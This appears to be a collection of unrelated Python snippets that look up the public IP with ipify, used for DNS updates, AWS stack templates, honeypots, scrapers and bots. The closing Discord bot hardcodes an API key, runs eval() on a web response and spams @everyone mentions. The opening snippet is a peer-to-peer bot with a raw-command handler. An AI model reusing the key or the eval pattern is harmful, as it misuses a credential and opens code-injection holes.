def __init__( self ): # SAVE AND LOAD BOT DESC AT STARTUP/ EDIT KINDA LIKE PROFILES ON WEBAPPS logging.info("[+] Intializing bot...") self.connections = {} # list of peers this bot is connected to self.clients = [] self.knownBots = set() self.knownBotsDB = set() self.servers = [] self.host = get_ip() self.port = None self.commands = { "pwd": PWDCommand, "sleep": SleepCommand, "raw": RawCommand, } logging.info("[+] Adding Handlers...") self.handler = Handler() self.handler.addHandler(CommandHandler(self.commands)) self.handler.addHandler(JSONHandler(self)) logging.info("[+] Starting Socket Server...") try: socketServerThread = ServerThread(SocketServer, self.handler, self) socketServerThread.start() self.servers.append(socketServerThread) except Exception as e: logging.warning(e.stackTrace) logging.warning("ERRROR CREATING SERVER THREAD") self.loadKnownBots()
def _update_route53( aws_access_key_id: str, aws_secret_access_key: str, zone: str, domain: str, records: List[str], ttl: int, ): import boto3 from ipify import get_ip from ipify import exceptions _LOGGER.debug("Starting update for zone %s", zone) client = boto3.client( DOMAIN, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, ) # Get the IP Address and build an array of changes try: ipaddress = get_ip() except exceptions.ConnectionError: _LOGGER.warning("Unable to reach the ipify service") return except exceptions.ServiceError: _LOGGER.warning("Unable to complete the ipfy request") return changes = [] for record in records: _LOGGER.debug("Processing record: %s", record) changes.append({ 'Action': 'UPSERT', 'ResourceRecordSet': { 'Name': '{}.{}'.format(record, domain), 'Type': 'A', 'TTL': ttl, 'ResourceRecords': [ { 'Value': ipaddress }, ], } }) _LOGGER.debug("Submitting the following changes to Route53") _LOGGER.debug(changes) response = client.change_resource_record_sets( HostedZoneId=zone, ChangeBatch={'Changes': changes}) _LOGGER.debug("Response is %s", response) if response['ResponseMetadata']['HTTPStatusCode'] != 200: _LOGGER.warning(response)
def _update_route53( aws_access_key_id: str, aws_secret_access_key: str, zone: str, domain: str, records: List[str], ttl: int, ): import boto3 from ipify import get_ip from ipify import exceptions _LOGGER.debug("Starting update for zone %s", zone) client = boto3.client( DOMAIN, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, ) # Get the IP Address and build an array of changes try: ipaddress = get_ip() except exceptions.ConnectionError: _LOGGER.warning("Unable to reach the ipify service") return except exceptions.ServiceError: _LOGGER.warning("Unable to complete the ipfy request") return changes = [] for record in records: _LOGGER.debug("Processing record: %s", record) changes.append( { "Action": "UPSERT", "ResourceRecordSet": { "Name": "{}.{}".format(record, domain), "Type": "A", "TTL": ttl, "ResourceRecords": [{"Value": ipaddress}], }, } ) _LOGGER.debug("Submitting the following changes to Route53") _LOGGER.debug(changes) response = client.change_resource_record_sets( HostedZoneId=zone, ChangeBatch={"Changes": changes} ) _LOGGER.debug("Response is %s", response) if response["ResponseMetadata"]["HTTPStatusCode"] != 200: _LOGGER.warning(response)
def whereami(): r = requests.get('https://freegeoip.net/json/' + get_ip()) if r.ok: j = r.json() state_code = j['region_code'] city = j['city'] return {'state': state_code, 'city': city} else: print('No internet connection')
def new_ip(): try: return ipify.get_ip() except ConnectionError as e: logging.error(str(e)) except ServiceError as e: logging.error(str(e)) except Exception as e: logging.error(str(e))
async def _record_and_lookup_public_ip(self): while True: try: Honeypot.public_ip = get_ip() logger.warning('Found public ip: %s', Honeypot.public_ip) except Exception as ex: Honeypot.public_ip = '' logger.warning('Could not request public ip from ipify, error: %s', ex) await asyncio.sleep(3600)
def _update_route53( aws_access_key_id: str, aws_secret_access_key: str, zone: str, domain: str, records: List[str], ttl: int, ): import boto3 from ipify import get_ip from ipify import exceptions _LOGGER.debug("Starting update for zone %s", zone) client = boto3.client( DOMAIN, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, ) # Get the IP Address and build an array of changes try: ipaddress = get_ip() except exceptions.ConnectionError: _LOGGER.warning("Unable to reach the ipify service") return except exceptions.ServiceError: _LOGGER.warning("Unable to complete the ipfy request") return changes = [] for record in records: _LOGGER.debug("Processing record: %s", record) changes.append({ 'Action': 'UPSERT', 'ResourceRecordSet': { 'Name': '{}.{}'.format(record, domain), 'Type': 'A', 'TTL': ttl, 'ResourceRecords': [ {'Value': ipaddress}, ], } }) _LOGGER.debug("Submitting the following changes to Route53") _LOGGER.debug(changes) response = client.change_resource_record_sets( HostedZoneId=zone, ChangeBatch={'Changes': changes}) _LOGGER.debug("Response is %s", response) if response['ResponseMetadata']['HTTPStatusCode'] != 200: _LOGGER.warning(response)
def _record_and_lookup_public_ip(self): while True: try: Honeypot.public_ip = get_ip() logger.warn('Found public ip: {0}'.format(Honeypot.public_ip)) except Exception as ex: Honeypot.public_ip = '' logger.warn('Could not request public ip from ipify, error: {0}'.format(ex)) gevent.sleep(3600)
def _launch_cloudformation(theargs): """Launches cloud formation """ if theargs.profile is not None: boto3.setup_default_session(profile_name=theargs.profile) cloudform = boto3.client('cloudformation', region_name=theargs.region) template = theargs.template with open(template, 'r') as f: template_data = f.read() if theargs.sshlocation is None or theargs.sshlocation is '': theargs.sshlocation = str(get_ip()) + '/32' params = [{ 'ParameterKey': 'KeyName', 'ParameterValue': theargs.keypairname }, { 'ParameterKey': 'GPUInstanceType', 'ParameterValue': theargs.instancetype }, { 'ParameterKey': 'GPUDiskSize', 'ParameterValue': theargs.disksize }, { 'ParameterKey': 'SSHLocation', 'ParameterValue': theargs.sshlocation }] if theargs.dataseturl != '': params.append({ 'ParameterKey': 'DatasetURL', 'ParameterValue': theargs.dataseturl }) tags = [{'Key': 'Name', 'Value': theargs.name}] resp = cloudform.create_stack(StackName=theargs.name, TemplateBody=template_data, Parameters=params, TimeoutInMinutes=25, Tags=tags) """ Example successful response: {u'StackId': 'arn:aws:cloudformation:us-east-2:063349100599:stack/chris-autolaunch/7d639570-20c3-11e8-80ea-50a68a270856', 'ResponseMetadata': {'RetryAttempts': 0, 'HTTPStatusCode': 200, 'RequestId': '7d5bcdb5-20c3-11e8-9b7f-cf77c73ccdc2', 'HTTPHeaders': {'x-amzn-requestid': '7d5bcdb5-20c3-11e8-9b7f-cf77c73ccdc2', 'date': 'Mon, 05 Mar 2018 22:21:02 GMT', 'content-length': '386', 'content-type': 'text/xml'} } } """ return resp
def _launch_cloudformation(theargs): """Launches cloud formation :returns string: stackid """ theargs.keypairname = _create_key_pair(theargs) cloudform = boto3.client('cloudformation', region_name=theargs.region) template = theargs.template with open(template, 'r') as f: template_data = f.read() if theargs.sshlocation is None or theargs.sshlocation is '': theargs.sshlocation = str(get_ip()) + '/32' params = [{ 'ParameterKey': 'KeyName', 'ParameterValue': theargs.keypairname }, { 'ParameterKey': 'GPUInstanceType', 'ParameterValue': theargs.instancetype }, { 'ParameterKey': 'GPUDiskSize', 'ParameterValue': theargs.disksize }, { 'ParameterKey': 'SSHLocation', 'ParameterValue': theargs.sshlocation }] tags = [{'Key': 'Name', 'Value': theargs.name}] sys.stdout.write('Creating stack. This can take 10-15 minutes...\n') resp = cloudform.create_stack(StackName=theargs.name, TemplateBody=template_data, Parameters=params, TimeoutInMinutes=25, Tags=tags) """ Example successful response: {u'StackId': 'arn:aws:cloudformation:us-east-2:063349100599:stack/chris-autolaunch/7d639570-20c3-11e8-80ea-50a68a270856', 'ResponseMetadata': {'RetryAttempts': 0, 'HTTPStatusCode': 200, 'RequestId': '7d5bcdb5-20c3-11e8-9b7f-cf77c73ccdc2', 'HTTPHeaders': {'x-amzn-requestid': '7d5bcdb5-20c3-11e8-9b7f-cf77c73ccdc2', 'date': 'Mon, 05 Mar 2018 22:21:02 GMT', 'content-length': '386', 'content-type': 'text/xml'} } } """ return resp['StackId']
def _launch_cloudformation(theargs): """Launches cloud formation """ if theargs.profile is not None: boto3.setup_default_session(profile_name=theargs.profile) cloudform = boto3.client('cloudformation', region_name=theargs.region) template = theargs.template with open(template, 'r') as f: template_data = f.read() if theargs.accesslocation is None or theargs.accesslocation is '': theargs.accesslocation = str(get_ip()) + '/32' params = [ { 'ParameterKey': 'KeyName', 'ParameterValue': theargs.keypairname }, { 'ParameterKey': 'InstanceType', 'ParameterValue': theargs.instancetype }, { 'ParameterKey': 'DiskSize', 'ParameterValue': theargs.disksize }, { 'ParameterKey': 'AccessLocation', 'ParameterValue': theargs.accesslocation } ] tags = [ { 'Key': 'Name', 'Value': theargs.name } ] resp = cloudform.create_stack( StackName=theargs.name, TemplateBody=template_data, Parameters=params, TimeoutInMinutes=25, Tags=tags ) return str(resp)
def get_ip_address(self) -> Optional[str]: """ Get the client IP address. Uses either the `ip_address` in config, or if `auto_determine_ip_address` is specified in config, the ipify service is used to dynamically lookup the IP address. """ # if ip address has been hard coded in config file, use that ip_address = self.config.get('ip_address') if ip_address is not None: return ip_address # if auto determine is enabled, use ipify to lookup the ip if self.config.auto_determine_ip_address: ip_address = ipify.get_ip() return ip_address
def get_public_ip_addr(): """Return the public IP address of machine executing script.""" try: return get_ip() except ConnectionError: print( "Warning: Unable to reach the ipify service." + " This is likely due to a network error and not the ipify service." + "\nWe'll try getting your public IP address from somewhere else.") except ServiceError: print( "Warning: Ipify service is experiencing issues." + "\nWe'll try getting your public IP address from somewhere else.") except Exception as e: print( "Warning: Failed to public IP address from ipify for unknown reasons." + f"\nError received: {e}" + "\nWe'll try getting your public IP address from somewhere else.")
from awacs.sts import AssumeRole from ipify import get_ip from ipaddress import ip_network ApplicationName = "jenkins" ApplicationPort = "8080" GithubAccount = "EffectiveDevOpsWithAWS" GithubAnsibleURL = "https://github.com/%s/ansible" % GithubAccount AnsiblePullCmd = "/usr/local/bin/ansible-pull -U %s %s.yml -i localhost" \ % (GithubAnsibleURL, ApplicationName) PublicCidrIp = str(ip_network(get_ip())) t = Template() kp = t.add_parameter(Parameter( "KeyPair", Description="Name of an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="must be the name of an existing EC2 KeyPair.", )) sg = t.add_resource(ec2.SecurityGroup( "SecurityGroup", GroupDescription="Allow SSH and TCP/{} access".format(ApplicationPort), SecurityGroupIngress=[ ec2.SecurityGroupRule(
To use this script we should pass a product name as argument. For example: -p nokia+130 ''' from bs4 import BeautifulSoup from ipify import get_ip from geoip import geolite2 from time import gmtime, strftime import requests import re import csv import argparse # Getting additional information REQ_IP = get_ip() REQ_IP_MATCH = geolite2.lookup(REQ_IP) REQ_COUNTRY = REQ_IP_MATCH.country REQ_TIME = strftime("%Y-%m-%d %H:%M:%S", gmtime()) REQ_PRICE_COMP = "http://www.ceneo.pl" def save_csv_file(filename, array): with open(filename, 'wb') as f: writer = csv.writer(f) writer.writerow([ "item_name", "item_price", "item_category", "req_ip", "req_country", "req_time", "req_price_comp" ]) writer.writerows(array)
__author__ = "Joel Dubowy" __copyright__ = "Copyright 2015, AirFire, PNW, USFS" import json import os import ipify import requests import tornado.log from bluesky.marshal import Blueskyv4_0To4_1 from bluesky.models import fires from blueskyworker.tasks import process_runtime, apply_output_processor try: IP_ADDRESS = ipify.get_ip() except: # IP_ADDRESS is only used to see if worker is running on # same machine as web server. If ipify fails, we'll just # resort to loading all output as if from remote server IP_ADDRESS = None # PORT_IN_HOSTNAME_MATCHER = re.compile(':\d+') # def is_same_host(web_request_host): # """Checks to see if the output is local to the web service # # If they are local, the run status and output APIS can carry out their # checks more efficiently and quickly. # # This function is a complete hack, but it works, at least some of the time. # (And when it fails, it should only result in false negatives, which
def index(request): # return HttpResponse('Hello from Python!') # return render(request, "index.html") ip = get_ip() return ip
import ipify as ip address = ip.get_ip() print(address)
from awacs.aws import ( Action, Allow, Policy, Principal, Statement, ) from awacs.sts import AssumeRole """variables""" ApplicationPort = "8080" ApplicationName = "jenkins" PublicIpCidr = str(ip_network(get_ip())) t = Template() t.add_description("Effective DevOps in AWS: HelloWorld web application") """KeyPair Parameter""" t.add_parameter( Parameter( "KeyPair", Description="KeyPair parameter", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="must be the name of an existing EC2 KeyPair.", )) """"Security Group creation"""
from ipify import get_ip from troposphere import ( Base64, ec2, GetAtt, Join, Output, Parameter, Ref, Template, ) ApplicationPort = "3000" PublicCidrIp = str(ip_network( get_ip())) #Classless Inter-Domain Routing IP (CidrIp) t = Template() t.add_description("Effective DevOps in AWS: HelloHell Web Application") t.add_parameter( Parameter( "KeyPair", Description="Name od an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="Must be the name of an existing EC2 KeyPair.", )) t.add_resource( ec2.SecurityGroup(
from ipify import get_ip from troposphere import (Base64, ec2, GetAtt, Join, Output, Parameter, Ref, Template) ApplicationName = "helloworld" ApplicationPort = "3000" GithubAccount = "josephassiga" GithubAsibleURL = "https://github.com/{}/Ansible".format(GithubAccount) AnsiblePullCmd = "/usr/local/ansible-pull -U {} {}.yml -i localhost".format( GithubAsibleURL, ApplicationName) PublicCidrPort = str(ip_network(get_ip())) template = Template() template.add_description( "Effective DEVOPS in AWS : Hello World Web Application") template.add_parameter( Parameter( "KeyPair", Description="Name of an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="Must be the name of an existing EC2 KeyPair.")) template.add_resource( ec2.SecurityGroup(
import requests from ipify import get_ip from datetime import date today = date.today() ip = get_ip() print(ip) r = requests.post("http://192.168.1.12:5000/api/v1/messages", json={ "name": "medea", "message": "ip: {}".format(ip), "latitude": 41.38879, "longitude": 2.15899 })
APP_NAME = 'helloworld' APP_PORT = '3000' GITHUB_USERNAME = '******' GITHUB_BASE_URL = 'https://github.com/' GITHUB_REPO_NAME = '/Ansible' GITHUB_ANS_REPO = GITHUB_BASE_URL + GITHUB_USERNAME + GITHUB_REPO_NAME FILE_NAME = 'ansiblebase.template' ansible_pull_cmd = "/usr/local/bin/ansible-pull -U {} {}.yml -i localhost".format( GITHUB_ANS_REPO, APP_NAME ) public_cidr_ip = str(ip_network(get_ip())) #Classless Inter-Domain Routing IP (CidrIp) t = Template() t.add_description("Effective DevOps in AWS: HelloHell Web Application") t.add_parameter(Parameter( "KeyPair", Description="Name od an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="Must be the name of an existing EC2 KeyPair.", )) t.add_resource(ec2.SecurityGroup( "SecurityGroup", GroupDescription="Allow SSH and TCP/{} access".format(APP_PORT),
#! /usr/bin/env python3 """ pip install dnspython ipify """ import ipify import pdb; pdb.set_trace() # XXX BREAKPOINT import datetime import pdb; pdb.set_trace() # XXX BREAKPOINT ip = ipify.get_ip() print(ip)
from ipify import get_ip print(get_ip())
To use this script we should pass a product name as argument. For example: -p nokia+130 """ from bs4 import BeautifulSoup from ipify import get_ip from geoip import geolite2 from time import gmtime, strftime import requests import re import csv import argparse # Getting additional information REQ_IP = get_ip() REQ_IP_MATCH = geolite2.lookup(REQ_IP) REQ_COUNTRY = REQ_IP_MATCH.country REQ_TIME = strftime("%Y-%m-%d %H:%M:%S", gmtime()) REQ_PRICE_COMP = "http://www.ceneo.pl" def save_csv_file(filename, array): with open(filename, "wb") as f: writer = csv.writer(f) writer.writerow( ["item_name", "item_price", "item_category", "req_ip", "req_country", "req_time", "req_price_comp"] ) writer.writerows(array)
#!/usr/bin/env python # -*- coding: utf-8 -*- import pyperclip, winsound, ipify pyperclip.copy(ipify.get_ip()) winsound.MessageBeep()
Policy, Principal, Statement, ) from awacs.sts import AssumeRole ApplicatioName = "jenkins" ApplicationPort = "8080" GithubAccount = "chilliblast" GithubAnsibleURL = "https://github.com/{}/ansible".format(GithubAccount) AnsiblePullCmd = "/usr/local/bin/ansible-pull -U {} {}.yml -i localhost".format(GithubAnsibleURL,ApplicatioName) myIP = str(ip_network(get_ip())) AMI_image = "ami-e4515e0e" t = Template() t.add_description("Effective DevOps in AWS: HelloWorld web application") t.add_parameter(Parameter( "KeyPair", Description="Name of an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="must be the name of an existing EC2 KeyPair.", )) t.add_resource(ec2.SecurityGroup(
from awacs.sts import AssumeRole ApplicationName = "nodeserver" ApplicationPort = "3000" GithubAccount = "EffectiveDevOpsWithAWS" GithubAnsibleURL = "https://github.com/{}/ansible".format(GithubAccount) AnsiblePullCmd = \ "/usr/local/bin/ansible-pull -U {} {}.yml -i localhost".format( GithubAnsibleURL, ApplicationName ) PublicCidrIp = str(ip_network(get_ip())) t = Template() t.add_description("Effective DevOps in AWS: HelloWorld web application") t.add_parameter( Parameter( "KeyPair", Description="Name of an existing EC2 KeyPair to SSH", Type="AWS::EC2::KeyPair::KeyName", ConstraintDescription="must be the name of an existing EC2 KeyPair.", )) t.add_parameter(Parameter("VpcId", Type="AWS::EC2::VPC::Id", Description="VPC"))
async def on_message(message): global toggle, disabled_users, last if 'All we do is hack bots' in message.content: print('Located HAX') await client.delete_message(message) return if message.author in disabled_users: await client.delete_message(message) if last != message.author.name + ' tried to send a message but was disabled by an admin': await client.send_message(message.channel, message.author.name + ' tried to send a message but was disabled by an admin') last = message.author.name + ' tried to send a message but was disabled by an admin' return if message.channel.name == 'utilbots' or message.server.name == 'Bots!': if message.content.startswith('pcu ') or message.content.startswith('PCU '): cmd_help = {'test': 'Tests utilbot online status', 'help': 'Displays this information', 'server':'Displays relevant info about the MC server', 'ping':'Mentions everyone repeatedly. Specify this amount with a number after the ping command'} cmd = message.content.split(' ')[1].lower() _args = message.content.split(' ')[2:] args = [] c = 0 while c < len(_args): if _args[c].startswith('['): if _args[c].endswith(']'): args.append(_args[c].strip('[]')) c += 1 else: print('COMPOUND') arg = [] while not _args[c].endswith(']') and c < len(_args): arg.append(_args[c].strip('[')) c += 1 arg.append(_args[c].strip(']')) c += 1 args.append(' '.join(arg)) else: args.append(_args[c]) c += 1 print('RCV ' + cmd + ': ' + ', '.join(args)) if cmd == 'test': await client.send_message(message.channel, 'System Online') await client.send_message(message.channel, 'Active: ' + str(toggle)) await client.send_message(message.channel, 'Time: ' + time.ctime()) mem_online = [] for mem in message.server.members: if mem.status != discord.Status.offline: mem_online.append(str(mem.name) + ' (' + str(mem.nick) + ')') await client.send_message(message.channel, 'Online: ' + ', '.join(mem_online)) raw = str(urlopen('https://api.ipgeolocation.io/ipgeo?apiKey=839e7eb39f7e4a958d348fdb9f87c47d&ip=' + str(get_ip())).read()) raw = raw[2:len(raw)].strip(" '") loc = eval(raw, {'true':True, 'false': False}) await client.send_message(message.channel, 'LOC: ' + ', '.join([loc['latitude'], loc['longitude']])) elif cmd == 'server' and toggle: if len(args) >= 1: if args[0] == 'ip': await client.send_message(message.channel, 'Server IP: 207.38.165.56') elif args[0] == 'owner': await client.send_message(message.channel, 'Server Owner: Matteo | Discord: iTecX | Minecraft: MisitaLife') else: await client.send_message(message.channel, 'Error: Invalid argument ' + args[0]) else: await client.send_message(message.channel, 'Arguments/subcommands: \n-ip: Displays server IP \n-owner: gives info about server owner') elif cmd == 'help' and toggle: for i in cmd_help.keys(): await client.send_message(message.channel, i + ': ' + cmd_help[i]) elif cmd == 'ping' and toggle: if len(args) == 0: args[0] = 1 try: int(args[0]) except: args[0] = 1 if message.author.name != 'iTecX' and int(args[0]) > 5: await client.send_message(message.channel, 'Error: You cannot ping more than 5 times.') return if len(args) == 1: for i in range(abs(int(args[0]))): if not toggle: return await client.send_message(message.channel, '@everyone') else: to_men = None for mem in message.server.members: if mem.name == args[1] or mem.nick == args[1]: to_men = mem.mention if to_men == None: await client.send_message(message.channel, 'Error: ' + args[1] + ' is not a member of this server') else: for i in range(abs(int(args[0]))): if not toggle: return await client.send_message(message.channel, to_men) elif cmd == 'toggle' and message.author.name == 'iTecX': if toggle: toggle = False else: toggle = True await client.send_message(message.channel, '$PCU Active: ' + str(toggle)) elif cmd == 'utoggle' and message.author.name == 'iTecX': try: for i in message.mentions: if i in disabled_users: del disabled_users[disabled_users.index(i)] await client.send_message(message.channel, 'Enabled ' + i.name) else: disabled_users.append(i) await client.send_message(message.channel, 'Disabled ' + i.name) except: pass elif cmd == 'op' and message.author.name == 'iTecX': client.add_roles(message.author, message.server.roles) await client.send_message(message.channel, 'Complete') else: if toggle: await client.send_message(message.channel, 'Error: invalid command.')